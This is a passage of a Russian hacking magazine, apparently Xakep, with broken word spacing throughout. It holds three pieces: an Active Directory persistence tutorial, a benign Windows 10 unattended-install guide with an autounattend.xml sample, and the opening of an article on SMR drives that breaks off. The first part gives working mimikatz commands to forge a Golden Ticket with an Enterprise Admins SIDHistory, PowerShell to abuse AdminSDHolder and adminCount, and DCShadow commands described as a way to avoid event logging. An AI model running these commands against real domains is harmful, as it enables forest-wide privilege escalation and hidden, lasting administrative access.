идент ифика торов (RID), то в данн ом слу чае в билете Kerberos груп па RID 519
(Enterprise Admins) будет идент ифицир ован а как локальн ая по отно шению
к домену, в котором был созд ан билет (на осно ве домена учет ной записи
krbtgt). Но если иден тифика тор безопас ности, полученн ый путем добав‐
ления RID к SID’у домена, не сущес твуе т, то влад елец билета Kerberos
не получит опред еленн ый уров ень дост упа.
Так им образ ом, если домен, в котором был соз дан Golden Ticket,
не содер жит груп пу Enterprise Admins, то дан ный билет не пре дост авит прав а
адми нист ра тора для дру гих доменов в том же лесу. Если сде лать Golden Tick‐
et с помощью mimikatz и обра тить ся к ресур сам в свое м и дру гом доменах, то
во вто ром случ ае мы получим отказ в дост упе.
mimikatz # kerberos::golden /admin:anyuser /domain:domA.domain.dom /
sid:S‐1‐5‐21‐719111203‐942671344‐1831409528‐1000 /krbtgt:08f5bf
2e292d77d8e460d3926a0d90de /ptt
Обычн ый Golden Ticket с помощью mimikatz
Мы уже подр обно разобр али, как работае т SIDHistory, и знае м, что билет
Kerberos содер жит этот параметр. Давай добавим в золотой билет Kerberos,
а имен но в параметр SIDHistory SID групп ы Enterprise Admins.
mimikatz # kerberos::golden /admin:anyuser /domain:domA.domain.dom /
sid:S‐1‐5‐21‐719111203‐942671344‐1831409528‐1000 /krbtgt:08f5bf
2e292d77d8e460d3926a0d90de /sids:[SID группы Enterprise Admins] /ptt
Golden Ticket с SIDHistory с помощью mimikatz
Так им обра зом мы получа ем дост уп ко все му лесу.
ADMINSDHOLDER
AdminSDHolder — это объе кт, расп оложенн ый в разд еле System в Active Di‐
rectory (cn=adminsdholder, cn=system, dc=domain, dc=dom). Он использ ует ся
в качес тве шаб лона безопасн ости для объ ектов, которые являю тся член ами
опред еленн ых прив иле гиров ан ных групп, называ емых защищен ными груп‐
пами.
Объе кт AdminSDHolder
В Active Directory учет ные записи и груп пы с высоким уровн ем прив илег ий
по умол чанию счи таютс я защищенн ыми. При использ овании больш инс тва
объе ктов в Active Directory адми нис тра торы или поль зовате ли, которым были
делегир ован ы раз решения на управлен ие объ ектам и Active Directory, могут
не толь ко измен ять прав а дост упа к объе ктам, но и управлять самими раз‐
решения ми (к прим еру, чтоб ы нас тра ивать членст во в груп пах).
Но есть одна осо бенн ость: в случ ае защищенн ых учет ных записей и групп
разр ешения объе ктов устан ав лива ются и при меняю тся авто матич еск и.
Это гарант ируе т, что раз решения на объе кты оста нут ся еди нообр азны ми,
даже если объ екты будут переме щены в дру гой каталог. Таким образ ом, если
кто‐либо вруч ную изме няет разр ешения защищен ного объе кта, эти раз‐
решения будут воз вра щены к их знач ени ям по умолч анию.
Объ екты, которые по умол чанию счит ают ся защищенн ыми груп пами, —
это опе ратор ы уче та, админ ис тра тор, админ ис трат оры, опер атор ы архив а,
адми нист рат оры домена, адми нис трат оры предп ри ятия, адми нист рат оры
корп оративн ых клю чей, адми нис тра торы клю чей, KRBTGT, опе ратор ы печати,
кон трол леры домена толь ко для чте ния, реп ликатор, адми нист ра торы схе мы,
опе рато ры сер вера. В отли чие от больш инст ва объе ктов в домене Active Di‐
rectory, вла дель цем которых являю тся груп пы «Адми нис тра торы», объ ект Ad‐
minSDHolder прин ад лежит груп пе «Адми нис трат оры домена». Таким обра‐
зом, все защищенн ые с помощью AdminSDHolder объ екты име ют атри бут
AdminCount, уста новл енный в 1. Но если объ ект удал ить из защищен ной
групп ы, знач ение атриб ута AdminCount не изме нит ся.
Так как главн ым усло вием защищае мог о объ екта ста новит ся знач ение
атри бута AdminCount, рав ное 1, мы можем найт и все эти объе кты с помощью
сле дующег о скрип та.
$ldapFilter = "(adminCount=1)"
$domain = New‐Object System.DirectoryServices.DirectoryEntry
$search = New‐Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
$result = $search.FindAll()
foreach ($res in $result){
$userEntry = $res.GetDirectoryEntry()
Write‐host "Object Name = " $userEntry.name
Write‐host "Object Class = " $userEntry.objectClass
foreach($AdminCount in $userEntry.adminCount){
Write‐host "AdminCount = " $AdminCount
Write‐host ""
}
}
Спис ок кон тро ля дос тупа (ACL) объе кта AdminSDHolder при меняе тся
как шабл он для всех раз решений всем защищен ным объ ектам Active Directory
и их член ам. Для обес печения безопасн ого дост упа к защищен ным объе ктам
Active Directory будет брать ACL объ екта AdminSDHolder и перио ди чес ки при‐
менять его ко всем этим объ ектам, то есть ко всем поль зовател ям и групп ам.
Таким образ ом, если мы можем манипу лиров ать спис ком ACL для AdminSD‐
Holder, эти раз решения будут автом атич ес ки при менен ы ко всем защищен‐
ным объе ктам, что позв олит созд ать пост оянн ый дост уп к при виле гиров ан‐
ным учет ным записям в домене.
За авто матиз ацию восс тан ов ления разр ешений защищен ных объе ктов
отвеч ает про цесс SDProp. По умол чанию восс та нов ление прои сход ит каж‐
дые 60 минут (но этот интервал можн о измен ить). Таким обра зом, если адми‐
нис тра тор увид ит подозр ительн ое раз решение для защищен ного объе кта
и уда лит его, то спус тя указ ан ное врем я эти пол номочия будут вос стан ов лены
обратно бла года ря SDProp, так как атри бут AdminCount дан ного объе кта дол‐
жен быть рав ным 1. В резуль тате объ ект остан ет ся защищенн ым.
Да вай добавим польз овател я к AdminSDHolder или выст авим поль зовате‐
лю атриб ут adminCount в 1.
Get‐ADUser [пользователь] | Set‐ADObject ‐Clear adminCount
Get‐ADUser [пользователь] | Set‐ADObject ‐Add @{adminCount=1}
Спус тя некото рое вре мя посл е вос ста новл ения разр ешений SDProp’ом дан‐
ная учет ная запись будет иметь пол ный кон троль над групп ой «Админ ис тра‐
торы домена».
При этом можн о заметить, что поль зователь не имее т членст ва в групп ах.
Get‐ADUser [пользователь] ‐Properties memberof
Инф ормац ия о целевом поль зовател е
Что бы измен ить интервал восс та новл ения, нуж но в вет ке реес тра HKEY_LO‐
CAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
соз дать параметр DWORD с име нем AdminSDProtectFrequency, а в качест ве
знач ения ука зать количес тво секунд (минималь ное — 60).
AdminSDHolder — это очень хит рый метод, позв оляю щий нам пре дос‐
тавлять воз можность менять при вилег иров анн ые груп пы в Active Directory,
исполь зуя клю чевой ком понент безопас ности. Таким образ ом, даже если
раз решения для защищен ной групп ы или поль зовате ля изме нены админ ис‐
тра тором, SDProp вер нет разр ешения безопас ности спуст я отве ден ный
интервал врем ени в соот ветст вии с объе ктом AdminSDHolder, тем самым
воз вращ ая нам админ ист ра тив ный дост уп.
DCSHADOW
В пре дыдущ ей част и статьи мы рас смот рели спо соб обес печить перс истен‐
тность дос тупа, осно ванн ый на изме нении раз решений защища емых объ‐
ектов, то есть на управле нии списк ами ACL и манипул яция х с конт ейн ером
AdminSDHolder. Но эти спо собы могут быть зарегист ри рова ны в журн але
событий. Что бы избе жать этог о, есть решение: DCShadow поз воля ет вно сить
такие измен ения без регис трац ии событий, что сниж ает риск обна ружен ия.
Та ким образ ом, план след ующий:
1. По лучить текущие раз решения AdminSDHolder.
2. Внес ти изме нения в раз решения (добавить нового поль зовател я).
3. Прим енить обновлен ные разр ешения через DCShadow.
По лучить текущие раз решения можн о с помощью PowerShell.
$asdh = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=dom'
$sddl = $asdh.ObjectSecurity.Sddl
Тек ущие раз решения конт ей нера AdminSDHolder в фор мате SDDL
Что бы обес печить пер систен тность дост упа, добавим учет ную запись в раз‐
решения AdminSDHolder. Для это го нужн о измен ить получен ную стро ку
SDDL. Снач ала необх одимо узнать SID целевог о объе кта.
По лучен ие SID целево го поль зовател я
Теп ерь мож но измен ить SDDL, прос то добавив туда SID.
$newsddl = $sddl + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID]])"
Но вая стро ка SDDL
Прист упим к пос леднем у этап у — исполь зованию DCShadow. Чтоб ы при‐
менить данн ые разр ешения, использ уем mimikatz, при чем от имен и System.
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:"CN=AdminSDHolder,CN=System,
DC=domain,DC=dom" /attribute:ntsecuritydescriptor /value:[SDDL]
Изм енение раз решений AdminSDHolder с помощью mimikatz DCShadow
При этом в друг ом окне mimikatz нуж но выпол нить реп ликацию и прим енить
данн ые.
mimikatz # lsadump::dcshadow /push
Спус тя некото рое врем я у целевой учет ной записи мож но заметить
обновленн ый атриб ут adminCount, о котором мы уже говори ли.
Из менение разр ешений AdminSDHolder с помощью mimikatz DCShadow
Так им обра зом еще один вект ор, для которог о мы можем исполь зовать DC‐
Shadow, — перс истент ность адми нис трат ивн ого дост упа.
Для тех, кто хочет получить боль ше информа ции по этой теме, я созд ал
телег рам‐канал @RalfHackerChannel, где можн о задать свои вопр осы (или
ответ ить на вопр осы друг их юзер ов). До встре чи в сле дующих стать ях!
ТРЮКИ
WINDOWS
SETUP
AUTOMATION
УЧИМ WINDOWS 10
СТАВИТЬСЯ НА АВТОПИЛОТЕ
И НЕ ЗАДАВАТЬ ВОПРОСОВ
Ес ли ты думае шь, что уста новк а Windows Валентин Холмогоров
10 — крайн е прос той и три виаль ный про‐ [email protected]
цесс, то ты оши баешьс я. Потому что он
может стать еще прощ е и трив иаль нее,
если прил ожить к этом у немн ого уси лий.
Сущест вуе т спос об устан овить сист ему,
не отвле каясь на вопр осы прог‐
раммы‐инстал лятора: это очень удоб но,
а при обслу жива нии парк а машин — поп‐
росту необх одимо. Давай раз берем ся,
как работа ет этот механизм.
Ре жим авто матич ес кой уста нов ки ОС, или Windows Setup Automation (WSA),
хорошо известен поль зовате лям еще со вре мен Windows XP. Прав да, с тех
пор он прет ер пел ряд сущес твен ных измен ений. С исполь зование м WSA
мож но запуст ить про цеду ру инстал ляции и спок ойн о уйти по сво им делам
на часик‐дру гой, а вер нувшись, обна ружить, что сис тема уже работа ет
на компь ютер е. Магия! К счастью, никаких слож ных закл инаний для этог о
не пот ребуе тся. Основные методы автом атиз ации уста новк и, а так же некото‐
рые связ анн ые с нею хит рости мы и расс мот рим в сегодн яшней статье.
ТОЛЬКО БЕЗ РУК!
Ес ли ты желае шь запус тить устан овк у Windows и идти пить кофе, избав ив шись
от необх одимост и сидеть в бли жай шие сорок минут перед монитор ом, такая
воз можность есть. Прич ем эта возм ожность сущест ву ет уже дав но: механиз‐
мы авто мати зиро ванн ого раз верты вания ОС с при целом на кор поратив ный
рынок, где сисад минам прих одит ся обслу живать парк из десят ков и сотен
компь ютер ов, в Microsoft при думал и уже более двад цати лет назад.
Во врем ена Windows XP все было прощ е. Дол лар стои л 28 рубл ей, пиво —
мень ше дол лара, а для авто мати зиро ван ной уста нов ки винд ы тре бова лось
всег о лишь соз дать спец иаль ный тек сто вый файл unattend.txt и положить
его в корень дис триб утив а. Сейч ас все кар динальн о изме нилось: похоже,
в Microsoft решили мак сималь но заморо чить поль зовател ей с тем, чтоб ы они
бро сили заниматьс я подоб ными глу пост ями. Но мы люди наст ырные и потому
пост ара емся разоб ратьс я, что там напр идумыв али эти ребята из Ред монда
и как с этим сле дует бороть ся.
Начн ем с того, что теперь для фай ла с ответ ами использ ует ся не прост ой
текс то вый фор мат, как в ста рые доб рые врем ена, а XML. И если рань ше такой
файл можн о было созд ать с помощью утил иты, которая вход ила в сост ав дис‐
три бутив а Windows, то сей час для это го пот ребуе тся отдель ная тул за. Но и
это еще не все.
В опре деленн ый исто рическ ий момент Microsoft начала упак овыв ать фай‐
лы дис триб утив а Windows в спе циальн ый сжат ый образ фор мата Windows
Imaging Format (WIM). Где‐то на этап е появл ения Windows 7 в Редм онде
решили: а почему бы не пост авлять в одном дис три бутив е сра зу нес коль ко
верс ий опе раци онной сис темы, напр имер «Домаш нюю», «Домаш нюю рас‐
ширенн ую» и «Про фесс иональн ую», или релизы раз ной разр ядност и —
x86 и x64? Ска зано — сдел ано: неск оль ко образ ов WIM с раз личны ми вер‐
сиями винд ы стал и паковать в один фай ловый архив install.esd, который
под держи вает еще боль шую сте пень сжа тия. В Windows 10 от WIM окон‐
чатель но отка зались в польз у ESD, поск оль ку этот фор мат позв оля ет сжи мать
фай лы сильн ее и тем самым эко номить боль ше диск ового прос транс тва.
Проб лема в том, что саму вин ду и инст ру мен ты для ее разв ертыв ания,
видимо, писали в разн ых отде лах корп орации: ути литы от Microsoft не уме ют
работать с фор матом ESD, им нужен стар ый доб рый WIM. Поэтом у алго ритм
под готовк и дист риб ути ва к автом ати ческ ой уста нов ке в общем виде выг лядит
след ующим обра зом:
1. Скач иван ие дист риб ути ва Windows 10.
2. Изв леч ение из него файл а ESD и пре образ ован ие его в WIM.
3. Ус танов ка утил иты для наст рой ки автом атич еск ой инсталл яции.
4. Созд ание фай ла с отве тами.
5. Под готов ка дист ри бутив а к уста нов ке сист емы.
Еще не слиш ком страш но? Тогд а раз берем кажд ый пункт по порядк у.
СКАЧИВАЕМ ДИСТРИБУТИВ
Для того что бы приг ото вить яич ницу, нужн ы как минимум яйца, а что бы нас‐
тро ить авто мати ческ ую уста нов ку сист емы, нам понадоб ит ся дис три бутив
Windows 10. Если у тебя его нет, дис триб утив можн о легаль но ска чать с сай та
Microsoft (правд а, потом к нему прид ет ся при купить серийн ик).
Для заг рузки обра за Windows 10 использ ует ся сле дующая хит рая про‐
цеду ра. Открой в брау зе ре стра ничк у Download Windows 10, ска чай оттуд а
тул зу под наз вание м «Средс тво созд ания носител я Windows 10» и запус ти
его. В появив шемся окне нужн о прин ять услов ия лиценз ион ного согл ашения,
а затем устан овить перекл ючатель в положен ие «Соз дать уста новоч ный
носитель (USB‐устройс тво флеш‐памяти, DVD‐диск или ISO‐файл)», и нажать
«Далее».
Пра виль ный выбор верс ии Windows для заг рузки — залог успе ха
Теп ерь след ует выб рать язык сис темы и ее разр ядность. Выбирать нужн о
осто рожн о — указ анн ая тобой вер сия вин ды долж на под ходить к тому серий‐
ному номеру, который у тебя име ется (или который ты пла нируе шь при‐
обрести). Нажав «Далее», устан ав лива ем перек лючатель в положен ие «ISO‐
файл» (или «Заг рузоч ный USB», что, в общем, без раз ницы: в этом слу чае
к компью тер у нужн о при соеди нить флешк у объ емом не менее 8 Гбайт, вся
информа ция с которой будет стер та). Снов а жмем «Далее», показыв аем, куда
нужн о сохр анить образ дис ка, и дожидае мся оконч ания заг рузки дис триб ути‐
ва.
ИЗВЛЕКАЕМ WIM
Как я уже упо минал, для работы с обра зом Windows необх одимо исполь‐
зовать файл ы в фор мате WIM, в то вре мя как совр емен ные дис триб утив ы хра‐
нят образ ы ОС в архи ве с высокой сте пенью сжат ия install.esd, который
лежит в папк е sources. Если в дист риб ути ве содер жатся вер сии Windows
для разн ых архи тект ур, эта папк а будет вло жена в пап ку x86 или x64. В Win‐
dows за работу с обра зами WIM и ESD отвеч ает кон соль ная утил ита dism,
которой мож но вос поль зоватьс я из команд ной строк и. Полн ый спи сок
парамет ров утил иты выводит ся на экран по команд е dism /?.
Пер ейд и в пап ку, в которую ты сох ранил ISO‐образ Windows 10. Если ты
использ уешь ути литы вро де DaemonTools, можн о смонт ировать этот образ
на вирт уаль ный диск, но для наших целей дос таточн о уста новить бесп лат ный
архив атор 7‐Zip и открыть ISO‐файл в нем как обыч ный архив. Если ты
записал образ на флешк у, можн о прост о прос мотреть ее содер жимое в про‐
вод нике. Ско пируй все папк и и файл ы из дист риб ути ва Windows
в какую‐нибудь дирек торию на локаль ном дис ке, напр имер DVD.
Пос кольк у в файл е install.esd может хра нить ся сраз у нес кольк о обра‐
зов Windows, для начала мы дол жны узнать, какие вер сии сист емы там содер‐
жатся. Для это го нужн о вспомн ить, как обра щатьс я с коман дной строк ой.
Зап уст и от имен и админ ист рат ора коман дную строк у или PowerShell
и набери там след ующую строчк у:
dism /Get‐WimInfo /WimFile:[path]\install.esd
где [path] — пол ный путь к папк е с фай лом install.esd, напр имер D:\DVD\
sources. В ответ утил ита dism выдаст информац ию обо всех вер сиях Win‐
dows в архи ве.
Ути лита dism показыв ает все обра зы Windows, хра нящи еся в ESD‐архив е
Вы бери ту верс ию Windows, с которой будешь даль ше работать, то есть вер‐
сию, для которой у тебя есть серийн ый номер. Теперь набери в команд ной
стро ке или PowerShell сле дующую команд у:
dism /Export‐Image /SourceImageFile:[path1]install.esd /SourceIndex:[
number] /DestinationImageFile:[path2]install.wim /Compress:Max /
CheckIntegrity
где [path1] — пол ный путь к пап ке с файл ом install.esd, нап ример D:\
DVD\sources; [number] — номер вер сии Windows, образ которой мы будем
извле кать; [path2] — пол ный путь, по котором у будет сох ранен извлеч енн ый
образ. В моем слу чае команд а выгл ядит так:
dism /Export‐Image /SourceImageFile:D:\DVD\sources\install.esd /
SourceIndex:1 /DestinationImageFile:D:\DVD\sources\install.wim /
Compress:Max /CheckIntegrity
Те перь дож дись, пока утил ита вытащит выб ранный тобой образ из ESD‐фай‐
ла и экспорт ируе т его в WIM. Это займ ет некотор ое вре мя. Утил ит ка забот‐
ливо положит скон верти рованн ый образ install.wim в ука занн ую тобой
папк у.
Из вле чение WIM‐обра за из ESD‐архив а — проц есс небыс трый
INFO
Приг отовь ся к тому, что опи сывае мые в статье
утил иты будут пери одич ес ки краш ить ся, вылетать
при обращ ении к памяти или падать с непонят‐
ными номерн ыми ошибк ами, не име ющим и адек‐
ватной расш ифровк и. Для сов ремен ного ПО от
Microsoft это соверш енно норм аль ное поведе ние.
СТАВИМ ADK
Файл с ответ ами прог раммы устан ов ки можн о соз дать с помощью спец иаль‐
ной ути литы, которая называе тся Windows System Image Manager (Windows
SIM). Эта тул за вхо дит в сост ав Windows Assessment and Deployment Kit (Win‐
dows ADK), который дост упен для заг рузки на сай те Microsoft.
Ска чав ADK, запус ти adksetup.exe и ука жи, в какую папк у устан ав ливать
пакет. Затем уста нов щик поинт ересу ется, хочешь ли ты отправ лять в Microsoft
данн ые со сво его компью те ра о том, как ты исполь зуешь их прог раммы: дело
хозяй ское, но личн о я выб рал вари ант «Нет».
Microsoft инте ресуе тся твои ми анон имн ыми дан ными, %username%
Дал ее нуж но прин ять усло вия лицен зион ного сог лашения и выбр ать под‐
лежащие устан овк е комп онен ты: самое прост ое — уста новить все флаж ки,
хотя нас инте ресу ют толь ко пунк ты «Средст ва раз верты вания» и «Сре да пре‐
дус тановк и Windows PE». Затем жмем кнопк у «Устан овить» и отдых аем, пока
инстал лятор не ско пиру ет на диск все необх одимые фай лы (по всей видимос‐
ти, он их отку да‐то кача ет, судя по ско рост и это го про цес са — с Мар са).
Выб ор комп онент ов Windows ADK для устан ов ки
Пос ле того как все скач алось и уста новил ось, запуст и Windows SIM от имен и
админ ист ра тора, отыск ав соот ветс тву ющий зна чок в глав ном меню.
СОЗДАЕМ ФАЙЛ ОТВЕТОВ
От крой меню «Файл», пункт «Выб рать образ Windows», и ука жи прогр амме
мест о рас положен ия файл а install.wim. Ско рее все го, прог рамма руг‐
нется, что невозм ожно загр узить файл катало га, — сог ласись с предл ожени‐
ем созд ать новый файл. В резуль тате это го дей ствия будет сге нерир ован
файл .clg, который прог рамма помест ит в ту же папк у, что и install.wim.
В этом фай ле содерж атся парамет ры сос тояния ком понен тов Windows,
использ уемые в про цесс е уста нов ки.
Есл и появит ся соот ветс твую щий спис ок, выбери в открывш емся списк е
редак цию Windows, которую мы будем наст ра ивать. Теперь нуж но дож датьс я,
ког да образ пол ностью заг рузит ся в прил ожен ие.
Загр узка образ а занимае т мно го врем ени и част о заверш ает ся с ошиб ‐
ками
Щел кни мышью на кноп ке «Новый файл ответ ов» в левом вер хнем углу окна
прог раммы. В поле «Файл ответ ов» появит ся дре вовид ная структ ура будуще‐
го XML‐файл а. Нас интер есу ет разд ел Components, насч итываю щий семь
сек ций.
Структ ура разд елов фай ла отве тов
В общем случ ае порядок дей ствий таков:
• в сек ции «Образ Windows» раз верни выпадаю щий спи сок Components,
затем разв ерни инте ресую щий тебя дочерн ий комп онент, щелк ни на нем
прав ой кла вишей мыши и выбери в кон текс тном меню пункт «Добавл ение
парамет ра для [наз вание раз дела]»;
• выбр анная тобой груп па наст рое к будет добавл ена в оснаст ку, рас‐
положен ную справ а от поля «Файл ответ ов» в колон ке «Свойс тва»;
• щел кая мышью на соот ветст вую щих полях, можн о менять предс тав ленные
там зна чения.
Соз дание парамет ров в фай ле ответ ов
Прил ожен ие поз воляе т скон фигурир овать под сот ню разн ых нас тро ек прог‐
раммы устан овк и, но все они, в общем‐то, не нужн ы. Для того что бы инстал‐
лятор треб овал от тебя минимум участ ия в проц есс е разв ерты вания сист емы,
необ ходимо изме нить толь ко секц ии «1 windowsPE», «4 specialize», и «7
oobeSystem». Так, в разд еле «1 windowsPE» можн о задать дис ковый разд ел
и папк у для уста нов ки Windows, выб рать язык, рас кладк у клав иатур ы и указ ать
ключ про дукт а.
WARNING
Нас тройк и это го разд ела нес коль ко отли чают ся
для устройс тв, использ ующих BIOS и UEFI, осо‐
бен но если ты план иру ешь соз давать новые дис‐
ковые раз делы. Чтоб ы не ошиб ить ся в разм етке,
ознак омь ся с докумен тацие й Microsoft для компь‐
юте ров с BIOS и для компь юте ров с UEFI.
В секц ии «4 specialize» мож но ука зать модель твое го устрой ства, его изго‐
тови теля, имя компь ютер а, вла дельц а устрой ства, текущую вре мен ную зону.
Наконец, в раз деле «7 oobeSystem» ты можешь заранее сог ласитьс я с усло‐
виями лицен зионн ого согл ашения, выбр ать допол нительн ые язы ковые
парамет ры и нас тро ить учет ную запись поль зовате ля сист емы. Поэк спе‐
римен тировав с парамет рами, ты сконф игури руешь прогр амму уста новк и так,
как нуж но именн о тебе.
Посл е того как все необх одимые данн ые введ ены, нужн о уда лить разд елы,
в которые не вно сил никаких измен ений. Для это го щелк ни на таком разд еле
в окне «Файл ответ ов» пра вой клав ишей мыши и выбери в конт екс тном меню
пункт «Уда лить».
Те перь надо про верить, нет ли в файл е ответ ов оши бок. Для это го выбери
в меню «Сер вис» пункт «Пров ер ка фай ла ответ ов» или наж ми на одно имен‐
ную кнопк у в панели инс тру мент ов. Если прог рамма не наш ла оши бок, зна‐
чит, все хорошо. Теперь наж ми на кнопк у «Сохр анить файл ответ ов» и вве ди
для него имя autounattend.xml.
Ес ли чес тно, разобр ать ся в интерфейс е Windows SIM и струк туре дан ных
в образ е Windows не так‐то прост о: такое ощущ ение, что прог рамму раз‐
рабатыв али инопл анетян е, спе циальн о решив шие запутать человеч ест во.
Но есть решение: мож но исполь зовать готовый файл autounattend.xml,
созд анный для русс кой 64‐разр ядной вер сии Windows 10 (для английс кой
верс ии нуж но в парамет ре <UILanguage> указ ать знач ение en_US).
<?xml version="1.0" encoding="utf‐8"?>
<unattend xmlns="urn:schemas‐microsoft‐com:unattend">
<settings pass="windowsPE">
<component name="Microsoft‐Windows‐International‐Core‐WinPE"
processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35"
language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.
microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/
2001/XMLSchema‐instance">
<InputLocale>en‐US; ru‐RU</InputLocale>
<SystemLocale>ru‐RU</SystemLocale>
<UILanguage> ru‐RU</UILanguage>
<UserLocale> ru‐RU</UserLocale>
</component>
<component name="Microsoft‐Windows‐Setup" processorArchit
ecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral"
versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMICon
fig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance"
>
<UserData>
<ProductKey>
<Key></Key>
</ProductKey>
<AcceptEula>true</AcceptEula>
</UserData>
</component>
</settings>
<settings pass="oobeSystem">
<component name="Microsoft‐Windows‐International‐Core" proces
sorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language=
"neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.
com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSch
ema‐instance">
<InputLocale>en‐US; ru‐RU</InputLocale>
<SystemLocale>ru‐RU</SystemLocale>
<UILanguage>ru‐RU</UILanguage>
<UserLocale>en‐US</UserLocale>
</component>
<component name="Microsoft‐Windows‐Shell‐Setup" processorArchit
ecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral"
versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMICon
fig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance"
>
<OOBE>
<HideOnlineAccountScreens>true</HideOnlineAccou
ntScreens>
<ProtectYourPC>3</ProtectYourPC>
</OOBE>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Group>Administrators</Group>
<Name>Administrator</Name>
<!‐‐ <Password>
<Value>password</Value>
<PlainText>true</PlainText>
</Password> ‐‐>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
<!‐‐ <AutoLogon>
<Password>
<Value>password</Value>
<PlainText>true</PlainText>
</Password>
<Username> Administrator</Username>
<LogonCount>1</LogonCount>
<Enabled>true</Enabled>
</AutoLogon> ‐‐>
</component>
</settings>
</unattend>
В этом фай ле поле для вво да клю ча прод укт а оставле но пус тым: если исполь‐
зуемый тобой образ Windows вклю чает нес коль ко редак ций, прогр амма уста‐
новк и пред ложит выб рать нуж ную. На компь юте рах с UEFI ключ прод укт а уста‐
новщ ик авто матич ес ки под хват ит из энер гонезав исим ой памяти (при его
наличии). Так же мож но вбить ключ прям о в поле Key, тогд а сист ема акти виру‐
ется авто матич ес ки с этим клю чом, как толь ко машина соедин ит ся с интерне‐
том.
При инстал ляции созд ает ся локальн ая учет ная запись с име нем Adminis‐
trator. Стро ки, обес печиваю щие созд ание пароля для этой учет ной записи,
закомм ентир ова ны, поэтом у инстал лятор поп росит его ввес ти (это поле мож‐
но будет оста вить пус тым). Ты можешь убрать теги комм ента рия и задать
пароль пря мо в файл е, а заодн о можн о раск оммен тировать секц ию, отве‐
чающую за авто мати ческ ий вход в сист ему с локаль ной учет ной записью.
Этап созд ания учет ной записи Microsoft проп ус кает ся — за это отве чает тег
<HideOnlineAccountScreens>true</HideOnlineAccountScreens>
С использ ование м это го файл а ответ ов тебе прид ет ся указ ать диск овый раз‐
дел, в который пла ниру ется уста новить сис тему, и ответ ить на пароч ку допол‐
нитель ных воп росов прогр аммы уста новк и. Весь осталь ной про цесс инстал‐
ляции пройд ет без тво его учас тия.
WWW
Вмес то ADK ты можешь восп ольз овать ся онлай‐
новым генера тором файл ов автом атич еск ой уста‐
новк и Windows, который так и называе тся: Win‐
dows Answer File Generator. В раз деле Desktop
или Server выбери под ходящую верс ию ОС,
запол ни форм у на открывш ейс я стра нице и ско‐
пируй сге нерир ован ный код, сохр анив его в файл
autounattend.xml.
ПОДГОТОВКА ДИСТРИБУТИВА К УСТАНОВКЕ СИСТЕМЫ
Файл autounattend.xml дол жен расп олагать ся в кор не носител я, с которог о
уста навл ивае тся Windows. Если ты уста нав ливае шь сист ему с флеш ки, ско‐
пируй autounattend.xml в ее кор невую пап ку. Прос леди за тем, что бы в пап‐
ке sources рас полагал ся файл install.wim, с исполь зовани ем которо го был
соз дан файл отве тов.
Есл и сохр анить файл отве тов в корн евой папк е не получил ось (или ты
решил дать ему дру гое имя), можн о запус тить инсталл яцию Windows
из команд ной стро ки, указ ав прогр амме уста нов ки мест о расп оложен ия фай‐
ла:
setup.exe /unattend:filename
где filename — полн ое имя файл а с отве тами с учет ом пути. Если ты устан ав‐
лива ешь сист ему с опти ческ ого или вир туальн ого диск а, для чего тебе пот‐
ребу ется ISO‐образ, при дет ся переу пак овать его заново, помест ив в кор‐
невую пап ку файл autounattend.xml и install.wim в пап ку sources.
Для это го можн о восп ольз оватьс я подх одящей утил итой, нап ример прог‐
раммой UltraISO.
ВЫВОДЫ
Авт оматиз ация уста нов ки Windows 10 кажет ся сложн ой толь ко на пер вый
взгляд. Если один раз разоб ратьс я с Windows SIM, созд ание фай лов отве тов
зай мет не так уж и мно го вре мени. Если же хочет ся решить эту задачу про ще
и быст рее, можн о восп ольз оватьс я онлай новым генерат ором, толь ко
не забудь пред варительн о про тест ировать уста новк у на вир туальн ой машине.
Если во вре мя инстал ляции воз никли ошибк и, можн о попр авить файл
autounattend.xml в любом текс то вом редакт оре.
ТРЮКИ
СРЫВАЕМ
ПОКРОВЫ
Олег Афонин
Эксперт по мобильной
криминалистике компании
«Элкомсофт»
[email protected]
ЧЕРЕПИЧНАЯ ЗАПИСЬ SMR
В НАКОПИТЕЛЯХ WD И SEAGATE
До недав него вре мени польз ователь (по край ней мере —
продв инутый польз ователь, не поленив шийс я про вес ти нес‐
кольк о дней на форумах) чет ко знал: в пот ребительс ких дис‐
ках Seagate использ уетс я черепичн ая запись SMR, и это
пло хо, а в дис ках Western Digital — нет. Мно гие и мно гие
польз овател и делали свой выбор, исход я именн о из это го
кри терия. Но недав нее журн алист ское расс лед ова ние
переверн уло их мир.
Оказ алось (а точн ее — офи циаль но подт верд илось), что Western Digital давн о
и мол ча про дает дис ки с SMR, наот рез отка зыва ясь раск рыть эту информа‐
цию недо умев ающим и воз мущенн ым влад ель цам «расс ыпавш ихся» RAID‐
масс ивов. В чем суть скан дала, почему использ ование черепич ной записи
выз вало такое воз мущение поль зовате лей и в чем разл ичие подх одов WD
и Seagate? Поп робуе м разоб ратьс я.
СКАНДАЛЬНАЯ ЧЕРЕПИЦА
Есл и ты не сле дишь вни мательн о за новост ями в области средств хран ения
информа ции, недав ние события мог ли пройт и мимо тебя. Хро нолог ия такова.
2 апрел я
Все началось с иссле дован ия Крист иана Франк е (Christian Franke). Он под‐
робно, с выкл адкам и и отче тами, рас ска зал, что в некотор ых диск ах WD Red,
пред назна чен ных для использ ования в мног одис ковых сетевых хра нилищ ах
NAS, прим еняе тся недокум ент ированн ая техн ология SMR (Shingled Magnetic
